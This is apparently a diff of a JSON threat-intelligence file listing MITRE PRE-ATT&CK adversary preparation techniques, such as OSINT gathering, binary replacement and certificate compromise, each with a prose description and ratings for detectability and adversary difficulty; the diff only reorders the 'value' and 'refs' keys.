"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nReplacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: On the host end user system, integrity checking (e.g., hash verification, code signing enforcement), application whitelisting, sandboxing, or behavioral-based/heuristic-based systems are most likely to be successful in detecting this technique. On the source webserver, detecting binary changes is easy to detect if performed.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires the adversary to replace a binary on a website where users will download the binary (e.g., patch, firmware update, software application) as innately trusted. The additional challenge is the reduced set of vendor-trusted websites that are vulnerable.",
- "value": "Replace legitimate binary with malware - PRE-T1155",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1155"
- ],
"external_id": "PRE-T1155",
"kill_chain": [
"mitre-pre-attack:pre-attack:launch"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1155"
]
},
- "uuid": "0d759854-9b69-438c-8325-74b03cc80cf0"
+ "uuid": "0d759854-9b69-438c-8325-74b03cc80cf0",
+ "value": "Replace legitimate binary with malware - PRE-T1155"
},
{
"description": "Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Large quantities of data exists on people, organizations and technologies whether divulged wittingly or collected as part of doing business on the Internet (unbeknownst to the user/company). Search engine and database indexing companies continuously mine this information and make it available to anyone who queries for it.",
- "value": "Acquire OSINT data sets and information - PRE-T1054",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1054"
- ],
"external_id": "PRE-T1054",
"kill_chain": [
"mitre-pre-attack:pre-attack:organizational-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1054"
]
},
- "uuid": "028ad431-84c5-4eb7-a364-2b797c234f88"
+ "uuid": "028ad431-84c5-4eb7-a364-2b797c234f88",
+ "value": "Acquire OSINT data sets and information - PRE-T1054"
},
{
"description": "An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Indistinguishable from standard security practices employed by legitimate operators.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary benefits from our own advances, techniques, and software when securing and protecting their own development infrastructure.",
- "value": "Secure and protect infrastructure - PRE-T1094",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1094"
- ],
"external_id": "PRE-T1094",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1094"
]
},
- "uuid": "cc0faf66-4df2-4328-9c9c-b0ca5de915ad"
+ "uuid": "cc0faf66-4df2-4328-9c9c-b0ca5de915ad",
+ "value": "Secure and protect infrastructure - PRE-T1094"
},
{
"description": "Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No easy way for defenders to detect when an adversary collects this information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Depending upon the target device, there are variable ways for an adversary to determine the firmware version. In some cases, this information can be derived from easily obtained information. For example, in [http://www.cisco.com Cisco] devices, the firmware version is easily determined once the device model and OS version is known since it is included in the release notes.",
- "value": "Determine firmware version - PRE-T1035",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1035"
- ],
"external_id": "PRE-T1035",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1035"
]
},
- "uuid": "6baf6388-d49f-4804-86a4-5837240555cd"
+ "uuid": "6baf6388-d49f-4804-86a4-5837240555cd",
+ "value": "Determine firmware version - PRE-T1035"
},
{
"description": "Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
- "value": "Develop KITs/KIQs - PRE-T1004",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1004"
- ],
"external_id": "PRE-T1004",
"kill_chain": [
"mitre-pre-attack:pre-attack:priority-definition-planning"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1004"
]
},
- "uuid": "6063b486-a247-499b-976a-9de16f4e83bc"
+ "uuid": "6063b486-a247-499b-976a-9de16f4e83bc",
+ "value": "Develop KITs/KIQs - PRE-T1004"
},
{
"description": "Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Using standard headers/fingerprints from normal traffic, it is often trivial to identify the SW or HW the target is running, which can be correlated against known CVEs and exploit packages.",
- "value": "Research relevant vulnerabilities/CVEs - PRE-T1068",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1068"
- ],
"external_id": "PRE-T1068",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1068"
]
},
- "uuid": "abd5bed1-4c12-45de-a623-ab8dc4ff862a"
+ "uuid": "abd5bed1-4c12-45de-a623-ab8dc4ff862a",
+ "value": "Research relevant vulnerabilities/CVEs - PRE-T1068"
},
{
"description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary searches publicly available sources and may find this information on the 3rd party web site listing new customers/clients.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Press releases may reveal this information particularly when it is an expected cost savings or improvement for scalability/reliability.",
- "value": "Determine 3rd party infrastructure services - PRE-T1061",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1061"
- ],
"external_id": "PRE-T1061",
"kill_chain": [
"mitre-pre-attack:pre-attack:organizational-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1061"
]
},
- "uuid": "dfa4eaf4-50d9-49de-89e9-d33f579f3e05"
+ "uuid": "dfa4eaf4-50d9-49de-89e9-d33f579f3e05",
+ "value": "Determine 3rd party infrastructure services - PRE-T1061"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not fool proof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.",
- "value": "Untargeted client-side exploitation - PRE-T1147",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1147"
- ],
"external_id": "PRE-T1147",
"kill_chain": [
"mitre-pre-attack:pre-attack:launch"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1147"
]
},
- "uuid": "2ec57bf1-fcc3-4c19-9516-79b7fde483af"
+ "uuid": "2ec57bf1-fcc3-4c19-9516-79b7fde483af",
+ "value": "Untargeted client-side exploitation - PRE-T1147"
},
{
"description": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).",
- "value": "Compromise 3rd party infrastructure to support delivery - PRE-T1089",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1089"
- ],
"external_id": "PRE-T1089",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1089"
]
},
- "uuid": "4900fabf-1142-4c1f-92f5-0b590e049077"
+ "uuid": "4900fabf-1142-4c1f-92f5-0b590e049077",
+ "value": "Compromise 3rd party infrastructure to support delivery - PRE-T1089"
},
{
"description": "Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Easily determined and not intended to be protected information. Publicly collected and shared repositories of email addresses exist.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Scraping of known email addresses from the target will likely reveal the target standard for address/username format. This information is easily discoverable.",
- "value": "Discover target logon/email address format - PRE-T1032",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1032"
- ],
"external_id": "PRE-T1032",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1032"
]
},
- "uuid": "ef0f816a-d561-4953-84c6-2a2936c96957"
+ "uuid": "ef0f816a-d561-4953-84c6-2a2936c96957",
+ "value": "Discover target logon/email address format - PRE-T1032"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThe use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: If the application and network are designed well, the defender should be able to utilize logging and application logic to catch and deflect SQL injection attacks.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Launching a SQL injection attack is not overly complex and a commonly used technique. This technique, however, requires finding a vulnerable application.",
- "value": "Exploit public-facing application - PRE-T1154",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1154"
- ],
"external_id": "PRE-T1154",
"kill_chain": [
"mitre-pre-attack:pre-attack:launch"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1154"
]
},
- "uuid": "8a64f743-acaa-49d5-9d3d-ae5616a3876f"
+ "uuid": "8a64f743-acaa-49d5-9d3d-ae5616a3876f",
+ "value": "Exploit public-facing application - PRE-T1154"
},
{
"description": "Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
- "value": "Assess KITs/KIQs benefits - PRE-T1006",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1006"
- ],
"external_id": "PRE-T1006",
"kill_chain": [
"mitre-pre-attack:pre-attack:priority-definition-planning"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1006"
]
},
- "uuid": "ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5"
+ "uuid": "ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5",
+ "value": "Assess KITs/KIQs benefits - PRE-T1006"
},
{
"description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: While possible to detect given a significant sample size, depending on how the unique identifier is used detection may be difficult as similar patterns may be employed elsewhere (e.g., content hosting providers, account reset URLs).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can easily generate pseudo-random identifiers to associate with a specific target, include the indicator as part of a URL and then identify which target was successful.",
- "value": "Obfuscate operational infrastructure - PRE-T1095",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1095"
- ],
"external_id": "PRE-T1095",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1095"
]
},
- "uuid": "9d234df0-2344-4db4-bc0f-8de9c6c071a7"
+ "uuid": "9d234df0-2344-4db4-bc0f-8de9c6c071a7",
+ "value": "Obfuscate operational infrastructure - PRE-T1095"
},
{
"description": "Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([http://www.ubuntu.com Ubuntu] vs [http://www.apple.com/osx/ OS X]), and versions ([http://windows.microsoft.com Windows] 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary can simulate most environments (e.g., variable operating systems, patch levels, application versions) with details available from other techniques.",
- "value": "Test malware in various execution environments - PRE-T1134",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1134"
- ],
"external_id": "PRE-T1134",
"kill_chain": [
"mitre-pre-attack:pre-attack:test-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1134"
]
},
- "uuid": "e042a41b-5ecf-4f3a-8f1f-1b528c534772"
+ "uuid": "e042a41b-5ecf-4f3a-8f1f-1b528c534772",
+ "value": "Test malware in various execution environments - PRE-T1134"
},
{
"description": "Determining if a \"corporate\" help desk exists, the degree of access and control it has, and whether there are \"edge\" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires an adversary to undergo a research process to learn the internal workings of an organization. An adversary can do this by social engineering individuals in the company by claiming to need to find information for the help desk, or through social engineering of former employees or business partners.",
- "value": "Determine centralization of IT management - PRE-T1062",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1062"
- ],
"external_id": "PRE-T1062",
"kill_chain": [
"mitre-pre-attack:pre-attack:organizational-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1062"
]
},
- "uuid": "a7dff5d5-99f9-4a7e-ac54-a64113c28121"
+ "uuid": "a7dff5d5-99f9-4a7e-ac54-a64113c28121",
+ "value": "Determine centralization of IT management - PRE-T1062"
},
{
"description": "An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defender often install badging, cameras, security guards or other detection techniques for physical security and monitoring.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires a physical presence in the space being entered and increased risk of being detected/detained (e.g., recorded on video camera)",
- "value": "Test physical access - PRE-T1137",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1137"
- ],
"external_id": "PRE-T1137",
"kill_chain": [
"mitre-pre-attack:pre-attack:test-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1137"
]
},
- "uuid": "18bfa01c-9fa9-409f-91f5-4a2822609d81"
+ "uuid": "18bfa01c-9fa9-409f-91f5-4a2822609d81",
+ "value": "Test physical access - PRE-T1137"
},
{
"description": "Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms",
- "value": "Acquire or compromise 3rd party signing certificates - PRE-T1087",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1087"
- ],
"external_id": "PRE-T1087",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1087"
]
},
- "uuid": "e5164428-03ca-4336-a9a7-4d9ea1417e59"
+ "uuid": "e5164428-03ca-4336-a9a7-4d9ea1417e59",
+ "value": "Acquire or compromise 3rd party signing certificates - PRE-T1087"
},
{
"description": "Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
- "value": "Assess leadership areas of interest - PRE-T1001",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1001"
- ],
"external_id": "PRE-T1001",
"kill_chain": [
"mitre-pre-attack:pre-attack:priority-definition-planning"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1001"
]
},
- "uuid": "d3999268-740f-467e-a075-c82e2d04be62"
+ "uuid": "d3999268-740f-467e-a075-c82e2d04be62",
+ "value": "Assess leadership areas of interest - PRE-T1001"
},
{
"description": "Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Typical information collected as part of accessing web sites (e.g., operating system, browser version, basic configurations).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Basic web scripting capability to collect information of interest on users of interest. Requires a compromised web site and the users of interest to navigate there.",
- "value": "Enumerate client configurations - PRE-T1039",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1039"
- ],
"external_id": "PRE-T1039",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1039"
]
},
- "uuid": "78ae433b-289d-4c8d-b8c1-f8de0b7f9090"
+ "uuid": "78ae433b-289d-4c8d-b8c1-f8de0b7f9090",
+ "value": "Enumerate client configurations - PRE-T1039"
},
{
"description": "Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Algorithmically possible to detect COTS service usage or use of non-specific mailing addresses (PO Boxes, drop sites, etc.)\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commercially available or easy to set up and/or register using a disposable email account.",
- "value": "Private whois services - PRE-T1082",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1082"
- ],
"external_id": "PRE-T1082",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1082"
]
},
- "uuid": "3160347f-11ac-44a3-9640-a648b3c17a8f"
+ "uuid": "3160347f-11ac-44a3-9640-a648b3c17a8f",
+ "value": "Private whois services - PRE-T1082"
},
{
"description": "Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
- "value": "Assign KITs, KIQs, and/or intelligence requirements - PRE-T1015",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1015"
- ],
"external_id": "PRE-T1015",
"kill_chain": [
"mitre-pre-attack:pre-attack:priority-definition-direction"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1015"
]
},
- "uuid": "4fad17d3-8f42-449d-ac4b-dbb4c486127d"
+ "uuid": "4fad17d3-8f42-449d-ac4b-dbb4c486127d",
+ "value": "Assign KITs, KIQs, and/or intelligence requirements - PRE-T1015"
},
{
"description": "Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.",
- "value": "Identify groups/roles - PRE-T1047",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1047"
- ],
"external_id": "PRE-T1047",
"kill_chain": [
"mitre-pre-attack:pre-attack:people-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1047"
]
},
- "uuid": "89a79d91-53e0-4ef5-ba28-558cb8b01f76"
+ "uuid": "89a79d91-53e0-4ef5-ba28-558cb8b01f76",
+ "value": "Identify groups/roles - PRE-T1047"
},
{
"description": "After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Post compromise tool development is a standard part of the adversary's protocol in developing the necessary tools required to completely conduct an attack.",
- "value": "Post compromise tool development - PRE-T1130",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1130"
- ],
"external_id": "PRE-T1130",
"kill_chain": [
"mitre-pre-attack:pre-attack:build-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1130"
]
},
- "uuid": "df42286d-dfbd-4455-bc9d-aef52ac29aa7"
+ "uuid": "df42286d-dfbd-4455-bc9d-aef52ac29aa7",
+ "value": "Post compromise tool development - PRE-T1130"
},
{
"description": "There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The compromise of unknown vulnerabilities would provide little attack and warning against a defender, rendering it highly challenging to detect.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Finding, attacking, and compromising a 3rd party or closed vulnerability entity is challenging, because those containing the vulnerabilities should be very aware of attacks on their environments have a heightened awareness.",
- "value": "Compromise 3rd party or closed-source vulnerability/exploit information - PRE-T1131",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1131"
- ],
"external_id": "PRE-T1131",
"kill_chain": [
"mitre-pre-attack:pre-attack:build-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1131"
]
},
- "uuid": "5a68c603-d7f9-4535-927e-ab56819eaa85"
+ "uuid": "5a68c603-d7f9-4535-927e-ab56819eaa85",
+ "value": "Compromise 3rd party or closed-source vulnerability/exploit information - PRE-T1131"
},
{
"description": "Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain. Direct access to the selected target is not required for the adversary to conduct this technique. There is a limited ability to detect this by looking at referrer fields on local web site accesses (e.g., a person who has accessed your web servers from [https://www.shodan.io Shodan]).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Possible to gather technical intelligence about Internet accessible systems/devices by obtaining various commercial data sets and supporting business intelligence tools for ease of analysis. Commercial data set examples include advertising content delivery networks, Internet mapping/traffic collections, system fingerprinting data sets, device fingerprinting data sets, etc.",
- "value": "Acquire OSINT data sets and information - PRE-T1024",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1024"
- ],
"external_id": "PRE-T1024",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1024"
]
},
- "uuid": "784ff1bc-1483-41fe-a172-4cd9ae25c06b"
+ "uuid": "784ff1bc-1483-41fe-a172-4cd9ae25c06b",
+ "value": "Acquire OSINT data sets and information - PRE-T1024"
},
{
"description": "A wide variety of 3rd party software services are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility over account creation for 3rd party software services.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: 3rd party services like these listed are freely available.",
- "value": "Acquire and/or use 3rd party software services - PRE-T1085",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1085"
- ],
"external_id": "PRE-T1085",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1085"
]
},
- "uuid": "1a295f87-af63-4d94-b130-039d6221fb11"
+ "uuid": "1a295f87-af63-4d94-b130-039d6221fb11",
+ "value": "Acquire and/or use 3rd party software services - PRE-T1085"
},
{
